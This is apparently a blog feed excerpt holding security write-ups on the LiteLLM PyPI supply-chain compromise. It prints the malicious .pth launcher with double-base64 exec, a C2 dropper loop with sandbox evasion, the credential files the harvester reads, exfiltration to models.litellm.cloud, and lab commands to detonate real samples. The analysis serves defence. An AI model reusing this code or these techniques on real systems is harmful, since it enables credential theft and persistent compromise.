&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 5 min delay (sandbox evasion)
&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fetch_from_c2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;youtube.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;# Kill switch
&lt;/span&gt;        &lt;span class="nf"&gt;download_and_execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Poll every 50 min
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;**_youtube.com_**&lt;/code&gt; check is interesting: if the C2 returns a YouTube URL, the dropper does nothing. This is likely the attacker’s safety mechanism to deactivate the malware remotely.&lt;/p&gt;

&lt;h3&gt;
  
  
  System log evidence
&lt;/h3&gt;

&lt;p&gt;The syslog from the fork bomb run contains the kernel listing Python processes at OOM time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar 24 22:30:04 kernel: [6326] 1000 6326 2495 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6327] 1000 6327 2487 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6328] 1000 6328 1934 96 0 96 0 40960 0 0 python3
Mar 24 22:30:04 kernel: [6331] 1000 6331 1934 64 0 64 0 49152 0 0 python3
... (dozens more python3 entries)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel was about to invoke the OOM killer on all those python3 processes. We stopped the instance before it got there.&lt;/p&gt;

&lt;h3&gt;
  
  
  The decoded malware
&lt;/h3&gt;

&lt;p&gt;All three stages of the malware, decoded and readable:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A686hWHqKGk3YUMQrDc3t-w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A686hWHqKGk3YUMQrDc3t-w.png" width="800" height="491"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: The decoded payload showing the RSA public key and base64-encoded harvester&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ASU583f4JmPOrq3iSQEt2SA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ASU583f4JmPOrq3iSQEt2SA.png" width="800" height="490"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Decoded Stage 1 showing AES-256 encryption and curl POST to C2&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AOqMOQVMDRy8SzXQSCaNd8A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AOqMOQVMDRy8SzXQSCaNd8A.png" width="800" height="165"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Both compromised wheels and decoded payloads on the lab instance&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  What we proved
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The .pth mechanism is devastating.&lt;/strong&gt; A single &lt;code&gt;**_python3_**&lt;/code&gt; command, not even importing litellm triggers the malware. The fork bomb is a side effect, not the intent, but it makes the attack visible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Credential theft takes under 2 seconds.&lt;/strong&gt; From trigger to having read every SSH key, AWS credential, and .env file on the machine less than 2 seconds.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The malware actively exploits AWS.&lt;/strong&gt; It doesn’t just steal static credential files. It queries EC2 IMDS for IAM role credentials, tries to dump Secrets Manager, and tries to dump SSM Parameter Store. It implements full AWS SigV4 request signing.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Kubernetes lateral movement is real.&lt;/strong&gt; If a service account token exists, the malware reads all cluster secrets and deploys privileged pods on every node.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The exfiltration is encrypted and stealthy.&lt;/strong&gt; AES-256-CBC with RSA-4096 key wrapping. The POST to &lt;code&gt;models.litellm.cloud&lt;/code&gt; looks like a normal API call in logs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Persistence survives pip uninstall.&lt;/strong&gt; The systemd backdoor lives in &lt;code&gt;**_~/.config/_**&lt;/code&gt;, outside pip’s control.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Reproduce this yourself
&lt;/h3&gt;

&lt;p&gt;Everything you need is in our repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/TocConsulting/litellm-supply-chain-attack-analysis
&lt;span class="nb"&gt;cd &lt;/span&gt;litellm-supply-chain-attack-analysis

&lt;span class="c"&gt;# Launch the lab (creates EC2, installs tools, plants honeypots, uploads malware)&lt;/span&gt;
bash lab/scripts/launch-lab.sh

&lt;span class="c"&gt;# SSH in&lt;/span&gt;
ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/litellm-lab.pem ubuntu@&amp;lt;PUBLIC_IP&amp;gt;

&lt;span class="c"&gt;# Start monitors, then detonate&lt;/span&gt;
bash ~/lab/scripts/monitor-all.sh
bash ~/lab/scripts/detonate.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; The fork bomb WILL crash a t3.medium instance. You will need to force stop it from the AWS Console, restart, and delete the .pth file. Then run the decoded payload directly for controlled analysis. Full instructions in the repo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; These are real malware samples. Only run them on disposable instances with no real credentials. Read &lt;a href="[https://github.com/TocConsulting/litellm-supply-chain-attack-analysis/blob/main/WARNING.md](https://github.com/TocConsulting/litellm-supply-chain-attack-analysis/blob/main/WARNING.md)"&gt;WARNING.md&lt;/a&gt; before proceeding.&lt;/p&gt;

&lt;h3&gt;
  
  
  Full evidence
&lt;/h3&gt;

&lt;p&gt;All evidence from our lab runs is published in the repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Evidence | What it proves |
|---------------------------------------------------------------------------|-----------------------------------------------------|
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;mitmproxy.log&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run2/mitmproxy.log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Full HTTPS traffic: IMDS, AWS APIs, C2 exfiltration |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;filesystem.log&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run2/filesystem.log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Every credential file read with timestamp |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;processes.log (run1)&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run1/processes.log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Fork bomb: 3 to 891 processes in 38 seconds |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;strace extracts&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/logs-run2/strace-run2-KEY-EXTRACTS.txt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Syscall-level proof of file reads |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;syslog&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/var-log/syslog&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Kernel OOM listing python3 processes |
| &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;All screenshots&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="sx"&gt;../lab/evidence/screenshots/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; | Visual evidence of every stage |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






</description>
      <category>cloudsecurity</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cloudcomputing</category>
    </item>
    <item>
      <title>Anatomy of a Supply Chain Attack: How LiteLLM Was Weaponized in 6 Hours</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Wed, 25 Mar 2026 03:27:01 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/anatomy-of-a-supply-chain-attack-how-litellm-was-weaponized-in-6-hours-444m</link>
      <guid>https://dev.to/tarekcheikh/anatomy-of-a-supply-chain-attack-how-litellm-was-weaponized-in-6-hours-444m</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ALo4LFzIkAd8nuBiTSC895Q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ALo4LFzIkAd8nuBiTSC895Q.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Yesterday, one of the most popular Python packages in the AI ecosystem was turned into a weapon. Here is exactly how it happened, what the malware does, and what every developer needs to know.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The target
&lt;/h3&gt;

&lt;p&gt;LiteLLM is an open source Python library that acts as a unified gateway to 100+ LLM providers: OpenAI, Anthropic, Azure, AWS Bedrock, and more. It has about 95 million monthly downloads on PyPI.&lt;/p&gt;

&lt;p&gt;Organizations use it as their central LLM proxy. This means that by design, LiteLLM has access to &lt;strong&gt;every LLM API key in the organization&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The attacker didn't pick this target randomly.&lt;/p&gt;

&lt;h3&gt;
  
  
  How they got in
&lt;/h3&gt;

&lt;p&gt;The LiteLLM compromise was not a standalone attack. It was the third stage of a campaign by a threat actor tracked as &lt;strong&gt;TeamPCP&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  The chain
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fct87h14edufef97st05e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fct87h14edufef97st05e.png" width="800" height="1594"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Attack Chain Flow Diagram&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 1&lt;/strong&gt; : Aqua Security, the company behind the vulnerability scanner Trivy, gets breached. Their credential rotation after the incident is incomplete, some tokens survive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 19&lt;/strong&gt; : Using surviving credentials, TeamPCP publishes a compromised version of Trivy. The irony: Trivy is the security scanner organizations run to detect compromises. The attacker compromised the tool that detects compromises.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 23&lt;/strong&gt; : Here is the critical link. LiteLLM's CI/CD pipeline had this line in &lt;code&gt;ci_cd/security_scans.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sfL&lt;/span&gt; https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No version pinning. This installs whatever the latest Trivy is including the compromised one. When LiteLLM's CI ran its security scan, the poisoned Trivy had access to the CI environment's secrets, including &lt;strong&gt;PyPI API tokens&lt;/strong&gt; belonging to maintainer &lt;code&gt;krrishdholakia&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 23&lt;/strong&gt; : The attacker registers the domain &lt;code&gt;litellm.cloud&lt;/code&gt; through registrar Spaceship, Inc. The legitimate LiteLLM domain is &lt;code&gt;litellm.ai&lt;/code&gt;. The similarity is intentional: &lt;code&gt;models.litellm.cloud&lt;/code&gt; looks like a real API endpoint in network logs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;March 24, 08:30 UTC&lt;/strong&gt; : Using the stolen PyPI token, TeamPCP uploads two malicious versions directly to PyPI:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1.82.7&lt;/strong&gt; : malicious code injected into &lt;code&gt;proxy_server.py&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1.82.8&lt;/strong&gt; : same injection plus a &lt;code&gt;.pth&lt;/code&gt; file (more on this below)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No Git tag was created. No GitHub release. No pull request. The attacker uploaded directly to PyPI, completely bypassing code review.&lt;/p&gt;

&lt;h3&gt;
  
  
  The weapon: what is a .pth file?
&lt;/h3&gt;

&lt;p&gt;This is the technical trick that makes the LiteLLM attack so dangerous.&lt;/p&gt;

&lt;p&gt;Python has a little known startup mechanism. When the interpreter starts, it scans the &lt;code&gt;site-packages/&lt;/code&gt; directory for files ending in &lt;code&gt;.pth&lt;/code&gt;. These files were designed to add directories to Python's import path.&lt;/p&gt;

&lt;p&gt;But there is a dangerous feature: &lt;strong&gt;any line in a .pth file that starts with &lt;code&gt;import&lt;/code&gt; is executed as Python code&lt;/strong&gt;. Not added to a path. Executed. On every Python interpreter startup. Unconditionally.&lt;/p&gt;

&lt;p&gt;This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You don't need to &lt;code&gt;import litellm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;You don't need to run any litellm code&lt;/li&gt;
&lt;li&gt;You just need litellm to be &lt;strong&gt;installed&lt;/strong&gt; in the environment&lt;/li&gt;
&lt;li&gt;Any &lt;code&gt;python&lt;/code&gt; command triggers it, including &lt;code&gt;python --version&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  The launcher
&lt;/h4&gt;

&lt;p&gt;The attacker placed a file called &lt;code&gt;litellm_init.pth&lt;/code&gt; (34,628 bytes) inside the wheel package. When installed via pip, it lands in &lt;code&gt;site-packages/&lt;/code&gt;. It contains a single line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;import base64; exec(base64.b64decode(base64.b64decode(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PAYLOAD&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)))&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this does:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;subprocess.Popen&lt;/code&gt;: Forks a new child process. &lt;code&gt;Popen&lt;/code&gt; (not &lt;code&gt;run&lt;/code&gt; or &lt;code&gt;call&lt;/code&gt;) returns immediately without waiting. The parent Python process continues normally. The user sees no delay, no error, nothing. Under the hood this is &lt;code&gt;fork()&lt;/code&gt; + &lt;code&gt;exec()&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;base64.b64decode(base64.b64decode(...))&lt;/code&gt;: Double base64 decoding. The outer decode produces another base64 string. The inner decode produces the actual malware. Double encoding evades scanners that pattern match on known malicious code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;exec(...)&lt;/code&gt;: Executes the decoded 331 line credential harvester in the child process.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;stdout=DEVNULL, stderr=DEVNULL&lt;/code&gt;: Suppresses all output. Silent.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5j0rn8g9kytaku7upy4f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5j0rn8g9kytaku7upy4f.png" width="800" height="496"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Base64 encoded payload visible in the .pth file&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  The fork bomb: an unintended side effect
&lt;/h3&gt;

&lt;p&gt;There is a catch the attacker apparently didn't fully account for. When the &lt;code&gt;.pth&lt;/code&gt; file triggers &lt;code&gt;subprocess.Popen&lt;/code&gt; to launch a new Python process, that new process also starts up, scans &lt;code&gt;site-packages/&lt;/code&gt;, finds the same &lt;code&gt;.pth&lt;/code&gt; file, and triggers it again. And again. And again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9r8x7v8lsqtop0pxkcdg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9r8x7v8lsqtop0pxkcdg.png" width="787" height="1182"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Fork Bomb Flow Diagram&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We observed this firsthand in our lab. Starting from a single &lt;code&gt;python3 -c "print('hello')"&lt;/code&gt; command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Time  | Python processes |
|-------|------------------|
| T+0s  | 3 (normal)       |
| T+1s  | 14               |
| T+2s  | 55               |
| T+4s  | 133              |
| T+13s | 390              |
| T+18s | 509              |
| T+38s | 891              |
| T+40s | Machine dead     |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;From 3 to 891 Python processes in 38 seconds.&lt;/strong&gt; The machine ran out of RAM and became completely unresponsive.&lt;/p&gt;

&lt;p&gt;This is actually how the attack was originally discovered. Callum McMahon at FutureSearch noticed his machine ran out of RAM when an MCP plugin in the Cursor IDE pulled litellm as a transitive dependency.&lt;/p&gt;

&lt;h3&gt;
  
  
  The payload: what it steals
&lt;/h3&gt;

&lt;p&gt;Once decoded and executing, the payload is a 331 line Python script that operates in three stages.&lt;/p&gt;

&lt;h4&gt;
  
  
  Stage 1: Credential harvesting
&lt;/h4&gt;

&lt;p&gt;The script reads files from well known paths. Every secret on the machine is a target:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSH credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.ssh/id_rsa&lt;/code&gt;, &lt;code&gt;~/.ssh/id_ed25519&lt;/code&gt;: private keys&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;~/.ssh/config&lt;/code&gt;: host configurations, jump hosts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/etc/ssh/ssh_host_*_key&lt;/code&gt;: server host keys&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cloud provider credentials:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.aws/credentials&lt;/code&gt;: AWS Access Key ID and Secret&lt;/li&gt;
&lt;li&gt;GCP service account JSON keys&lt;/li&gt;
&lt;li&gt;Azure CLI token cache&lt;/li&gt;
&lt;li&gt;EC2 IMDS queries (&lt;code&gt;169.254.169.254&lt;/code&gt;) for IAM role credentials&lt;/li&gt;
&lt;li&gt;AWS Secrets Manager dump via SigV4 signed API calls&lt;/li&gt;
&lt;li&gt;AWS SSM Parameter Store dump&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;~/.kube/config&lt;/code&gt;: cluster access&lt;/li&gt;
&lt;li&gt;Service account tokens at &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;All secrets across all namespaces via the K8s API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Application secrets:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; files (recursive search to depth 6)&lt;/li&gt;
&lt;li&gt;Shell history (&lt;code&gt;~/.bash_history&lt;/code&gt;, &lt;code&gt;~/.zsh_history&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Database credentials (&lt;code&gt;.pgpass&lt;/code&gt;, &lt;code&gt;.my.cnf&lt;/code&gt;, &lt;code&gt;redis.conf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Docker registry auth (&lt;code&gt;~/.docker/config.json&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;npm tokens (&lt;code&gt;~/.npmrc&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Terraform state and variables (&lt;code&gt;terraform.tfvars&lt;/code&gt;, &lt;code&gt;terraform.tfstate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;CI/CD configs (Jenkinsfile, &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;, &lt;code&gt;.travis.yml&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Cryptocurrency wallets (Bitcoin, Ethereum, Solana, Cardano, and more)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The script doesn't crash if a file doesn't exist. It silently skips it. It runs on any machine: developer laptop, CI runner, production server, Kubernetes pod and takes whatever is available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F43astaict9080lknugbb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F43astaict9080lknugbb.png" width="800" height="493"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Screenshot: Filesystem log showing the malware reading SSH keys, AWS credentials, git credentials&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Stage 2: Encryption and exfiltration
&lt;/h4&gt;

&lt;p&gt;The stolen data is not sent in plaintext:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generate a random AES-256 session key using &lt;code&gt;openssl rand&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt all collected data with &lt;code&gt;openssl enc -aes-256-cbc -pbkdf2&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the session key with a hardcoded 4096 bit RSA public key&lt;/li&gt;
&lt;li&gt;Bundle everything into &lt;code&gt;tpcp.tar.gz&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;POST to &lt;code&gt;https://models.litellm.cloud/&lt;/code&gt; with an &lt;code&gt;X-Filename&lt;/code&gt; header&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The RSA public key is hardcoded in the malware. Only the attacker holds the matching private key. Even if you capture the network traffic, you cannot decrypt the contents.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ASU583f4JmPOrq3iSQEt2SA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ASU583f4JmPOrq3iSQEt2SA.png" width="800" height="490"&gt;&lt;/a&gt;&lt;br&gt;
